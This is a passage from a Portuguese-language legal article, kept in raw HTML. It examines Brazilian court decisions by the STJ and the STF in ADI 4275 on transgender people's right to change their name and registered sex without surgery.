estabelecida, notadamente no que concerne &agrave; identidade sexual, cuja realiza&ccedil;&atilde;o afeta o mais &iacute;ntimo aspecto da vida privada da pessoa. E a altera&ccedil;&atilde;o do designativo de sexo, no registro civil, bem como do prenome do operado, &eacute; t&atilde;o importante quanto a adequa&ccedil;&atilde;o cir&uacute;rgica, porquanto &eacute; desta um desdobramento, uma decorr&ecirc;ncia l&oacute;gica que o Direito deve assegurar. Sobretudo, assegurar ao transexual o exerc&iacute;cio pleno de sua verdadeira identidade sexual consolida, sobretudo, o princ&iacute;pio constitucional da dignidade da pessoa humana, cuja tutela consiste em promover o desenvolvimento do ser humano sob todos os aspectos, garantindo que ele n&atilde;o seja desrespeitado tampouco violentado em sua integridade psicof&iacute;sica. Poder&aacute;, dessa forma, o redesignado exercer, em amplitude, seus direitos civis, sem restri&ccedil;&otilde;es de cunho discriminat&oacute;rio ou de intoler&acirc;ncia, al&ccedil;ando sua autonomia privada em patamar de igualdade com os demais integrantes da vida civil. A liberdade se refletir&aacute; na seara dom&eacute;stica, profissional e social do recorrente, que ter&aacute;, ap&oacute;s longos anos de sofrimentos, constrangimentos, frustra&ccedil;&otilde;es e dissabores, enfim, uma vida plena e digna. De posicionamentos herm&eacute;ticos, no sentido de n&atilde;o se tolerar imperfei&ccedil;&otilde;es como a esterilidade ou uma genit&aacute;lia que n&atilde;o se conforma exatamente com os referenciais cient&iacute;ficos, e, consequentemente, negar a pretens&atilde;o do transexual de ter alterado o designativo de sexo e nome, subjaz o perigo de est&iacute;mulo a uma nova pr&aacute;tica de eugenia social, objeto de combate da Bio&eacute;tica, que deve ser igualmente combatida pelo Direito, n&atilde;o se olvidando os horrores provocados pelo holocausto no s&eacute;culo passado. Por fim, destaca-se que o recorrido trouxe aos autos certid&otilde;es expedidas por diversos &oacute;rg&atilde;os federais e estaduais, de modo a resguardar eventuais direitos de terceiros. Forte em tais raz&otilde;es, CONHE&Ccedil;O e DOU PROVIMENTO ao presente recurso especial, para julgar procedente a pretens&atilde;o do recorrente, determinando assim a altera&ccedil;&atilde;o de seu assento de nascimento, a fim de que nele constem as altera&ccedil;&otilde;es do designativo de sexo, de masculino para feminino&rdquo;, e do prenome, de CLAUDERSON para PATR&Iacute;CIA. Determino, outrossim, que das certid&otilde;es do registro p&uacute;blico competente n&atilde;o conste que a referida altera&ccedil;&atilde;o &eacute; oriunda de decis&atilde;o judicial, tampouco que ocorreu por motivo de redesigna&ccedil;&atilde;o sexual de transexual<\/span><\/em><span style=\"font-family:times new roman,serif; font-size:10.5pt\">.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Abaixo encontram-se, em t&oacute;picos, algumas coloca&ccedil;&otilde;es importantes que situam o comportamento do Superior Tribunal de Justi&ccedil;a acerca da altera&ccedil;&atilde;o do nome, antes da decis&atilde;o do STF na ADI 4275, e que, no caso concreto enunciado proferiu o deferimento ao pedido da autora para alterar o sexo e o nome no registro civil &ndash; atente-se que no caso em tela a autora j&aacute; havia realizado a cirurgia de transgenitaliza&ccedil;&atilde;o, at&eacute; ent&atilde;o vista como crit&eacute;rio imprescind&iacute;vel ao acesso do nome pelo cidad&atilde;o transexual.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Os t&oacute;picos abaixo expressam as considera&ccedil;&otilde;es mais relevantes transcritas na Relatoria da Ministra Nancy Andrighi no caso do Recurso Especial n&ordm; 1.008.398 &ndash; SP, e possibilitam que se fa&ccedil;a um esbo&ccedil;o do cen&aacute;rio de acesso ao nome por parte dos cidad&atilde;os transexuais antes da ADI 4275.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Assim, segue-se:<\/span><\/p>\n<ul>\n<li><span style=\"font-size:10.5pt\">A cidad&atilde;o transexual det&eacute;m a apar&ecirc;ncia de um g&ecirc;nero (ao qual se identifica), todavia, em seus documentos oficiais tem-se a exposi&ccedil;&atilde;o de nome e sexo de um outro g&ecirc;nero (ao qual n&atilde;o se id&ecirc;ntica, ainda que seja o de seu nascimento).&nbsp;<\/span><span style=\"font-size:10.5pt\">Tal fato produz in&uacute;meros transtornos na vida da pessoa;<\/span><\/li>\n<li><span style=\"font-size:10.5pt\">H&aacute; um consider&aacute;vel n&uacute;mero de decis&otilde;es dos Tribunais de Justi&ccedil;a estaduais (ao qual citam-se os exemplos do Rio Grande do Sul, do Amap&aacute; e de Pernambuco) que permitem a altera&ccedil;&atilde;o e retifica&ccedil;&atilde;o do nome e sexo da pessoa em seu registro civil, todavia, mediante a submiss&atilde;o da pessoa a cirurgia de redesigna&ccedil;&atilde;o sexual;<\/span><\/li>\n<li><span style=\"font-size:10.5pt\">Assevera a relatora que a identifica&ccedil;&atilde;o de g&ecirc;nero n&atilde;o se limita a &ldquo;conforma&ccedil;&atilde;o da genit&aacute;lia&rdquo; da pessoa e que na &eacute;poca da elabora&ccedil;&atilde;o da Lei de Registro Civil, ou ainda da &ldquo;obrigatoriedade do registro civil&rdquo; era a genit&aacute;lia o crit&eacute;rio para delimitar o sexo da pessoa. Todavia, com os avan&ccedil;os tecnol&oacute;gicos e cient&iacute;ficos da atualidade novo crit&eacute;rios se assomam como o ps&iacute;quico, comportamental, o m&eacute;dico-legal e o jur&iacute;dico;<\/span><\/li>\n<li><span style=\"font-size:10.5pt\">Tem-se a coloca&ccedil;&atilde;o da seguran&ccedil;a jur&iacute;dica presente na lista restritiva de possibilidade de altera&ccedil;&atilde;o do nome enunciadas pela Lei n&ordm; 6.015\/73, cuja desobedi&ecirc;ncia &agrave; lei incide em viola&ccedil;&atilde;o da seguran&ccedil;a jur&iacute;dica;<\/span><\/li>\n<li><span style=\"font-size:10.5pt\">Todavia, tem-se o assentamento na sociedade da cirurgia de transgenitaliza&ccedil;&atilde;o, inclusive enquanto um procedimento custeado pelo Sistema &Uacute;nico de Sa&uacute;de. De modo que o Estado ignorar essa possibilidade de altera&ccedil;&atilde;o do nome incorreria em um fato social exist&ecirc;ncia que demanda repercuss&otilde;es jur&iacute;dicos &ndash; no caso, de prote&ccedil;&atilde;o &agrave; pessoa;<\/span><\/li>\n<li><span style=\"font-size:10.5pt\">Cita-se o Projeto de Lei n&ordm; 70 de 1995 que busca alterar o art. 58 da Lei dos Registros P&uacute;blicos para incluir a possibilidade de mudan&ccedil;a do prenome e sexo no registro civil dos cidad&atilde;os transexuais;<\/span><\/li>\n<li><span style=\"font-size:10.5pt\">Cita posi&ccedil;&atilde;o do Tribunal Alem&atilde;o com a &ldquo;Lei dos Transexuais &#8211; Transsexuellengesetz TSG&rdquo; que permite desde 1980 o registro de transexuais; e exp&otilde;e uma &ldquo;tend&ecirc;ncia mundial&rdquo; de que ocorra a conforma&ccedil;&atilde;o do sexo jur&iacute;dico ao sexo aparente da pessoa.&nbsp;<\/span><\/li>\n<\/ul>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Assinala-se que o Projeto de Lei citado no caso em comento, cujo autor foi o parlamentar Jos&eacute; Coimbra do PTB\/SP, o Projeto de Lei n&ordm; 70 de 1995 encontra-se em pauta no Plen&aacute;rio. Todavia, o projeto segue a linha da necessidade de cirurgia de transgenitaliza&ccedil;&atilde;o para a altera&ccedil;&atilde;o do prenome do indiv&iacute;duo, e ainda, refor&ccedil;a a necessidade de utiliza&ccedil;&atilde;o o Poder Judici&aacute;rio para afirmar esse direito, n&atilde;o ocorrendo mediante mero ato administrativo.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Salienta-se a ementa do projeto:&nbsp;<strong><em>Autor&nbsp;<\/em><\/strong><\/span><em><span style=\"font-family:times new roman,serif; font-size:10.5pt\"><a href=\"http:\/\/www.camara.gov.br\/internet\/deputado\/Dep_Detalhe_Inativo.asp?id=2593\" style=\"color: rgb(17, 85, 204);\" target=\"_blank\" rel=\"noopener noreferrer\">Jos&eacute; Coimbra &#8211; PTB\/SP&nbsp;<\/a><\/span><\/em><strong><em><span style=\"font-size:10.5pt\">Apresenta&ccedil;&atilde;o&nbsp;<\/span><\/em><\/strong><em><span style=\"font-family:times new roman,serif; font-size:10.5pt\">22\/02\/1995&nbsp;<strong>Ementa&nbsp;<\/strong>Disp&otilde;e sobre interven&ccedil;&otilde;es cir&uacute;rgicas que visem &agrave; altera&ccedil;&atilde;o de sexo e d&aacute; outras provid&ecirc;ncias.&nbsp;<strong>Explica&ccedil;&atilde;o da Ementa<\/strong>:&nbsp;Admite a mudan&ccedil;a do prenome mediante autoriza&ccedil;&atilde;o judicial nos casos em que o requerente tenha se submetido a interven&ccedil;&atilde;o cir&uacute;rgica destinada a alterar o sexo original, ou seja, opera&ccedil;&atilde;o transexual. Altera o Decreto-lei n&ordm; 2.848, de 1940.<\/span><\/em><span style=\"font-family:times new roman,serif; font-size:10.5pt\">&nbsp;<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn12\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[12]<\/span><\/a><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Assim, a altera&ccedil;&atilde;o do nome constitui tamb&eacute;m um acr&eacute;scimo ao direito &agrave; sa&uacute;de da pessoa transexual, visto que a impossibilidade de viver a sua identidade de g&ecirc;nero n&atilde;o apenas na seara privada de sua vida, mas tamb&eacute;m no espa&ccedil;o p&uacute;blico, atrav&eacute;s de seus direitos de cidadania, implica na maior qualidade de vida da pessoa &ndash; e a impossibilidade de deter a completude de seus direitos fundamentais, qual seja, o direito ao nome, evidencia mal estar do indiv&iacute;duo. Assevera-se que a sa&uacute;de n&atilde;o est&aacute; relacionada apenas ao tratamento de doen&ccedil;as, mas a possibilidade de qualidade de vida do indiv&iacute;duo.<\/span><\/p>\n<p style=\"text-align:justify\"><strong><span style=\"font-family:times new roman,serif; font-size:10.5pt\">2.1 O STF e a defesa dos direitos da pessoa<\/span><\/strong><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Os direitos da pessoa encontram-se expressos na Constitui&ccedil;&atilde;o Federal de 1988, principalmente no escopo do art. 5&ordm;, em que se assevera o direito a imagem, entre outros direitos atinentes a personalidade da pessoa. Salienta-se que em um contexto constitucional torna-se preciso um &oacute;rg&atilde;o jurisdicional competente para asseverar a conformidade da pr&aacute;ticas jur&iacute;dico-sociais com a Constitui&ccedil;&atilde;o &ndash; o Superior Tribunal Federal cumpre com esse papel.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Assim, deve-se considerar a atividade jurisdicional-constitucional do Superior Tribunal Federal enquanto compreende-se que:&nbsp;<\/span><em><span style=\"font-family:times new roman,serif; font-size:10.5pt\">A jurisdi&ccedil;&atilde;o constitucional &eacute; a atividade que visa garantir a aplica&ccedil;&atilde;o dos princ&iacute;pios e normas da constitui&ccedil;&atilde;o &agrave;s controv&eacute;rsias e d&uacute;vidas surgidas, concreta ou abstratamente, atividade advinda de &oacute;rg&atilde;o que atua com independ&ecirc;ncia em rela&ccedil;&atilde;o aos &oacute;rg&atilde;os ou poderes elaboradores do texto normativo objeto da fiscaliza&ccedil;&atilde;o, ou do Executivo, de modo definitivo e imparcial<\/span><\/em><span style=\"font-family:times new roman,serif; font-size:10.5pt\">.<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn13\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[13]<\/span><\/a><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Destaca-se que entre os direitos da pessoa, ao qual o STF encontra-se incumbido de realizar a defesa quando suscitado pelos atores jur&iacute;dicos, encontra-se o direito ao nome. O direito ao nome possui as caracter&iacute;sticas de obrigatoriedade, visto que ao nascer toda pessoa deve ser registrado no Of&iacute;cio de Registro Civil de Pessoas Naturais (art. 50 da Lei n&ordm; 6.015\/73); inalienabilidade visto que n&atilde;o pode ser transferido a outrem, seja de modo espont&acirc;neo ou oneroso; inacessibilidade, pois n&atilde;o pode ser cedido; intransmiss&atilde;o a herdeiros<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn14\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[14]<\/span><\/a><span style=\"font-family:times new roman,serif; font-size:10.5pt\">.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">A inexpropriabilidade, ou seja, n&atilde;o constitui uma propriedade, mas sim de um direito subjetivo atinente a personalidade; inestimabilidade pecuni&aacute;ria, pois n&atilde;o &eacute; mensur&aacute;vel em valores pecuni&aacute;rios; irrenunciabilidade, ou seja, o indiv&iacute;duo n&atilde;o pode dispor de seu direito ao nome j&aacute; que este, integra a sua identifica&ccedil;&atilde;o e individualiza&ccedil;&atilde;o; imutabilidade, comportando exce&ccedil;&otilde;es que se expressam no art. 58 da Lei n&ordm; 6.015\/73; imprescritibilidade e exclusividade<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn15\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[15]<\/span><\/a><span style=\"font-family:times new roman,serif; font-size:10.5pt\">.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Nesse sentido, considera-se o car&aacute;ter de dinamicidade presente nos direitos da pessoa ao ponto em que s&atilde;o formulados e estruturados em suas in&uacute;meras dimens&otilde;es de acordo com a &eacute;poca e a cultura espec&iacute;ficas de um povo. Nesse vi&eacute;s, tem-se em contraponto o car&aacute;ter est&aacute;tico das legisla&ccedil;&otilde;es que n&atilde;o ir&aacute; abarcar a totalidade das situa&ccedil;&otilde;es concretas a que a defesa dos direitos da pessoa &eacute; demandada.<\/span><\/p>\n<h3 style=\"text-align:justify\"><span style=\"color:windowtext; font-family:times new roman,serif; font-size:10.5pt\">5. A altera&ccedil;&atilde;o do Registro Civil por Pessoas Transexuais<\/span><\/h3>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Compreende-se que antes da decis&atilde;o do Superior Tribunal Federal, quando a altera&ccedil;&atilde;o do nome no registro civil n&atilde;o ocorria a partir de atos puramente administrativos, tinha-se, no escopo das decis&otilde;es judiciais as argui&ccedil;&otilde;es de falta de interesse de agir e impossibilidade jur&iacute;dica do pedido, no qual todo o embasamento da decis&atilde;o estava na exist&ecirc;ncia ou n&atilde;o da cirurgia de transgenitaliza&ccedil;&atilde;o.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">A esse respeito, tem-se o exemplo jurisprud&ecirc;ncia do Superior Tribunal de Justi&ccedil;a que aponta o caminho realizado por Tribunais de Justi&ccedil;a Estaduais ao exigirem a cirurgia de transgenitaliza&ccedil;&atilde;o, todavia, ao final, o STJ defende a ideia de que a identidade de g&ecirc;nero n&atilde;o precisa estar conformada com a genit&aacute;lia do indiv&iacute;duo. Abaixo tem-se a ementa do caso visto que a mesma destaca a situa&ccedil;&atilde;o de vida da autora, que mesmo n&atilde;o realizando a cirurgia, desde pequena assume a sua identidade de g&ecirc;nero, tanto no meio privado quanto na seara de vida p&uacute;blica, inclusive mediante a mobiliza&ccedil;&atilde;o social em prol de direitos de uma minoria pol&iacute;tica &ndash; a comunidade LGBTQI:&nbsp;<em>Recurso Especial N&ordm; 1.533.140 &ndash; Ba (2015\/0217401-6) Relatora: Ministra Maria Isabel Gallotti Recorrente: Miraldo Almeida Silva Advogado: Jurema Cintra Barretos &ndash; Ba019558 Recorrente: Minist&eacute;rio P&uacute;blico Do Estado Da Bahia Recorrido: Os Mesmos Decis&atilde;o Trata-se de recurso especial interposto por Miraldo Almeida Silva, com fundamento nas al&iacute;neas a e c do inciso III do artigo 105, da Constitui&ccedil;&atilde;o Federal, contra ac&oacute;rd&atilde;o proferido pelo Tribunal de Justi&ccedil;a do Estado da Bahia, assim ementado (fl. 90 e-STJ): Apela&ccedil;&atilde;o c&iacute;vel a&ccedil;&atilde;o de retifica&ccedil;&atilde;o de registro civil. Senten&ccedil;a que extinguiu o feito sem resolu&ccedil;&atilde;o do m&eacute;rito por falta de interesse de agir. Interessado que ainda n&atilde;o realizou cirurgia de neovaginoplastia. Impossibilidade. Car&ecirc;ncia de a&ccedil;&atilde;o. Senten&ccedil;a que deve ser mantida. O Apelante pleiteia altera&ccedil;&atilde;o do nome e do sexo no registro civil, afirmando que desde tenra idade, apesar da conformidade genital masculina, psicologicamente se sente mulher, fazendo-se tornar conhecido pelo prenome de Milena. Todavia, o recorrente n&atilde;o se submetei &agrave; cirurgia de mudan&ccedil;a de sexo, o que n&atilde;o permite altera&ccedil;&atilde;o do nome e do sexo em seu registro civil. Precedentes jurisprudenciais. Senten&ccedil;a mantida. Recurso n&atilde;o provido.&nbsp;&nbsp;O apelante sustenta em suas alega&ccedil;&otilde;es no fato de que desde os nove anos de idade percebeu que n&atilde;o se identificava com o sexo biol&oacute;gico, sendo psicologicamente do sexo feminino, tanto que na adolesc&ecirc;ncia passou a usar roupas femininas e ter atra&ccedil;&atilde;o por homens. Ainda acrescenta que em virtude do seu tipo de comportamento e em raz&atilde;o do elevado grau de preconceito passou a se engajar na defesa dos&nbsp;travestis&nbsp;e transexuais, fazendo parte do projeto Em Nome da Rosa em parceria com duas ONGs sem fins lucrativo: a ATRAS (Associa&ccedil;&atilde;o de&nbsp;Travestis&nbsp;e Transexuais de Salvador) e o Grupo Humanus (Grupo Gay de Itabuna). (STJ 0 RESP: 1551140 BA 2015\/0217401-6: Relator: Ministra Maria Isabel Galloti, Data de Publica&ccedil;&atilde;o: DJ 01\/09\/2017)<\/em><\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Nesse ponto, a ementa do caso assinala a import&acirc;ncia de dar acesso ao direito do nome aos cidad&atilde;os transexuais que n&atilde;o desejam realizar a cirurgia, salientado a defesa dos direitos fundamentais da pessoa, em especial, o direito ao desenvolvimento da personalidade humana, a intimidade, a privacidade, a igualdade de direitos, a sa&uacute;de, no qual se encontram o bem-estar psicof&iacute;sico e o direito &agrave; felicidade; ainda, o tribunal, em sua decis&atilde;o assevera o dever de respeito a diversidade ao qual o Estado, enquanto institui&ccedil;&atilde;o democr&aacute;tica encontra-se submetido.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">A saber: [&#8230;].&nbsp;<em>A citada jurisprud&ecirc;ncia deve evoluir para alcan&ccedil;ar tamb&eacute;m os transexuais n&atilde;o operados, conferindo-se, assim, a m&aacute;xima efetividade ao princ&iacute;pio constitucional da promo&ccedil;&atilde;o da dignidade da pessoa humana, cl&aacute;usula geral de tutela dos direitos existenciais inerentes &agrave; personalidade, a qual, hodiernamente, &eacute; concebida como valor fundamental do ordenamento jur&iacute;dico, o que implica o dever inarred&aacute;vel de respeito &agrave;s diferen&ccedil;as. 8. Tal valor (e princ&iacute;pio normativo) supremo envolve um complexo de direitos e deveres fundamentais de todas as dimens&otilde;es que protegem o indiv&iacute;duo de qualquer tratamento degradante ou desumana, garantindo-lhe condi&ccedil;&otilde;es existenciais m&iacute;nimas para uma vida digna e preservando-lhe a individualidade e a autonomia contra qualquer tipo de interfer&ecirc;ncia estatal ou de terceiros (efic&aacute;cias vertical e horizontal dos direitos fundamentais). 9. Sob essa &oacute;tica, devem ser resguardados os direitos fundamentais das pessoas transexuais n&atilde;o operadas &agrave; identidade ( tratamento social de acordo com sua identidade de g&ecirc;nero), &agrave; liberdade de desenvolvimento e de express&atilde;o da personalidade humana (sem indevida intromiss&atilde;o estatal), ao reconhecimento perante a lei (independentemente da realiza&ccedil;&atilde;o de procedimento m&eacute;dicos), &agrave; intimidade e &agrave; privacidade (prote&ccedil;&atilde;o das escolhas de vida), a idade e a n&atilde;o discrimina&ccedil;&atilde;o (elimina&ccedil;&atilde;o de desigualdades f&aacute;ticas que venha a coloca-los em situa&ccedil;&atilde;o de inferioridade, &agrave; sa&uacute;de (garantia do bem estar biopsicofisico) e a felicidade (bem-estar geral). 10. Consequentemente, &agrave; luz dos direitos fundamentais corol&aacute;rios do princ&iacute;pio fundamental da dignidade da pessoa humana, infere-se que o direitos dos transexuais &agrave; retifica&ccedil;&atilde;o do sexo no registro civil n&atilde;o pode ficar condicionado &agrave; exig&ecirc;ncia de realiza&ccedil;&atilde;o da cirurgia de transgenitaliza&ccedil;&atilde;o, para muitas inating&iacute;vel do ponto de vista financeiro (como parece ser o caso em exame) ou mesmo invi&aacute;vel do ponto de vista m&eacute;dico<\/em>. [&#8230;] (STJ 0 RESP: 1551140 BA 2015\/0217401-6: Relator: Ministra Maria Isabel Galloti, Data de Publica&ccedil;&atilde;o: DJ 01\/09\/2017)<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Salienta-se que a&nbsp;&nbsp;altera&ccedil;&atilde;o do nome civil das pessoas naturais j&aacute; ocorria, comportando exce&ccedil;&otilde;es aos princ&iacute;pios que embasam o direito ao nome &ndash; como o da imutabilidade &ndash; dos quais se destacam quando h&aacute; erro material, na situa&ccedil;&atilde;o casamento, de uni&atilde;o est&aacute;vel, de separa&ccedil;&atilde;o, div&oacute;rcio, casamento nulo e putativo, na situa&ccedil;&atilde;o de viuvez, no reconhecimento da paternidade, na descoberta do verdadeiro nome, pelo uso, por coa&ccedil;&atilde;o ou amea&ccedil;a decorrente da colabora&ccedil;&atilde;o na apura&ccedil;&atilde;o de crime, quando a pessoa tem um prenome rid&iacute;culo ou imoral, nas situa&ccedil;&otilde;es de ado&ccedil;&atilde;o, homon&iacute;mia, maioridade, abandono materno ou paterno e pela constitui&ccedil;&atilde;o do v&iacute;nculo s&oacute;cioafetivo, quando a apelido p&uacute;blico not&oacute;rio ou quando a pessoa det&eacute;m um nome estrangeiro<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn16\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[16]<\/span><\/a><span style=\"font-family:times new roman,serif; font-size:10.5pt\">. Todos esses exemplos abrem margem legislativa e jurisprudencial para a altera&ccedil;&atilde;o do nome civil das pessoas transexuais.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Nesse sentido, reconhecia-se tamb&eacute;m o direito a altera&ccedil;&atilde;o do nome com a mudan&ccedil;a de sexo pelo indiv&iacute;duo, o que, consequentemente implicava na realiza&ccedil;&atilde;o da cirurgia de transgenitaliza&ccedil;&atilde;o. O Decreto n&ordm; 8.727 de 28 de abril de 2016 reconhecia, perante a Administra&ccedil;&atilde;o P&uacute;blica, a identidade de g&ecirc;nero de&nbsp;travestis&nbsp;e transexuais, ao possibilitar a utiliza&ccedil;&atilde;o do nome social perante os &oacute;rg&atilde;os da administra&ccedil;&atilde;o direta, aut&aacute;rquica ou fundacional. Em que o nome social constitui aquele ao qual a pessoa &eacute; socialmente reconhecida e a identidade de g&ecirc;nero constituiria a resposta da pessoa ante as representa&ccedil;&otilde;es de masculino e feminino traduzidas para a sua pr&aacute;tica social, desassociadas do sexo que lhe foi atribu&iacute;do ao nascer (art. 1&ordm; Decreto n&ordm; 8.727\/2016)<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn17\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[17]<\/span><\/a><span style=\"font-family:times new roman,serif; font-size:10.5pt\">.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Assevera-se que na Lei de Registros P&uacute;blicos, Lei n&ordm; 6.015\/73, em seu artigo 13 admite que os atos de registro podem ser praticados por ordem judicial, por requerimento verbal ou escrito dos interessados ou a requerimento do Minist&eacute;rio P&uacute;blico, quando a lei autorizar. Compreende-se que o art. 13, II abre margem para que a pessoa transexual possa realizar a altera&ccedil;&atilde;o de seu prenome de modo administrativo, a partir da express&atilde;o de seu interesse.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Assim, no caso da ADI 4.275-DF duas posi&ccedil;&otilde;es acerca da altera&ccedil;&atilde;o do nome se destacaram uma primeira que reafirmava a posi&ccedil;&atilde;o de acesso do direito ao nome pela pessoa transexual, mas do qual figurava a judicializa&ccedil;&atilde;o da quest&atilde;o, passando pela confirma&ccedil;&atilde;o do Poder Judici&aacute;rio. Nesse sentido posicionaram-se os Ministros Marco Aur&eacute;lio acompanhado de mais cinco votos do qual colocaram como requisitos para a altera&ccedil;&atilde;o do nome os seguintes crit&eacute;rios:<\/span><\/p>\n<ul>\n<li><span style=\"font-size:10.5pt\">A necessidade de o indiv&iacute;duo ter ao menos 21 anos;<\/span><\/li>\n<li><span style=\"font-size:10.5pt\">O diagn&oacute;stico m&eacute;dico multidisciplinar de &ldquo;transexualismo&rdquo;;<\/span><\/li>\n<li><span style=\"font-size:10.5pt\">O acompanhamento de equipe multidisciplinar por dois anos.<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn18\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-size:10.5pt\"><span style=\"font-family:times new roman,serif\">[18]<\/span><\/span><\/a><\/li>\n<\/ul>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Por outro lado, o Superior Tribunal Federal, com as proposi&ccedil;&otilde;es defendidas pelo Ministro Ricardo Lewandowski, do qual por 6 votos viu a sua defesa ganhar a disputa da quest&atilde;o, trouxe uma perspectiva de desburocratiza&ccedil;&atilde;o do acesso ao nome pelo cidad&atilde;o transexual. Al&eacute;m disso, retirou da quest&atilde;o a via de patologiza&ccedil;&atilde;o da transexualidade &ndash; quest&atilde;o que acompanha o posicionamento de in&uacute;meras institui&ccedil;&otilde;es m&eacute;dicas como se ver&aacute;.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Assim, nos crit&eacute;rios vencidos para a altera&ccedil;&atilde;o do nome no Registro Civil, encontram-se:<\/span><\/p>\n<ul>\n<li><span style=\"font-size:10.5pt\">A necessidade do indiv&iacute;duo de ter ao menos 18 anos de idade;<\/span><\/li>\n<li><span style=\"font-size:10.5pt\">A exist&ecirc;ncia de uma convic&ccedil;&atilde;o do sujeito de sua identidade de g&ecirc;nero por, no m&iacute;nimo, tr&ecirc;s anos;<\/span><\/li>\n<li><span style=\"font-size:10.5pt\">O proferimento de relat&oacute;rio de uma equipe especialista de que o indiv&iacute;duo, de fato, det&eacute;m a identidade de g&ecirc;nero informada.&nbsp;<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn19\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-size:10.5pt\"><span style=\"font-family:times new roman,serif\">[19]<\/span><\/span><\/a><\/li>\n<\/ul>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Nesse sentido, o pa&iacute;s, por meio de suas institui&ccedil;&otilde;es que permitem o exerc&iacute;cio da cidadania e a afirma&ccedil;&atilde;o da personalidade de cada indiv&iacute;duo, encontram-se abertas a realiza&ccedil;&atilde;o dos direitos fundamentais da pessoa. A pr&oacute;xima se&ccedil;&atilde;o aprofunda esse cen&aacute;rio ao tratar da desburocratiza&ccedil;&atilde;o do procedimento de altera&ccedil;&atilde;o do nome no registro civil e conecta tal cen&aacute;rio com o respeito &agrave; dignidade humana.<\/span><\/p>\n<h4 style=\"text-align:justify\"><span style=\"color:windowtext; font-family:times new roman,serif; font-size:10.5pt\">5.1. A desburocratiza&ccedil;&atilde;o do procedimento e a concretiza&ccedil;&atilde;o da dignidade humana<\/span><\/h4>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">No ordenamento jur&iacute;dico brasileiro, cuja matriz constitucional &eacute; forte, tem-se a argui&ccedil;&atilde;o de um valor importante para as institui&ccedil;&otilde;es e indiv&iacute;duos, trata-se da dignidade humana, asseverada como um guia para as dilig&ecirc;ncias sociais. Tem-se o escopo das garantias sociais ao qual o indiv&iacute;duo pode se projetar moralmente enquanto um representante do g&ecirc;nero humano, e por isso desenvolver a seara da sua personalidade<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn20\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[20]<\/span><\/a><span style=\"font-family:times new roman,serif; font-size:10.5pt\">.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">A desburocratiza&ccedil;&atilde;o do procedimento de altera&ccedil;&atilde;o do nome no registro civil coaduna com a supera&ccedil;&atilde;o do positivismo presente nas formula&ccedil;&otilde;es do Estado Democr&aacute;tico de Direito de matriz 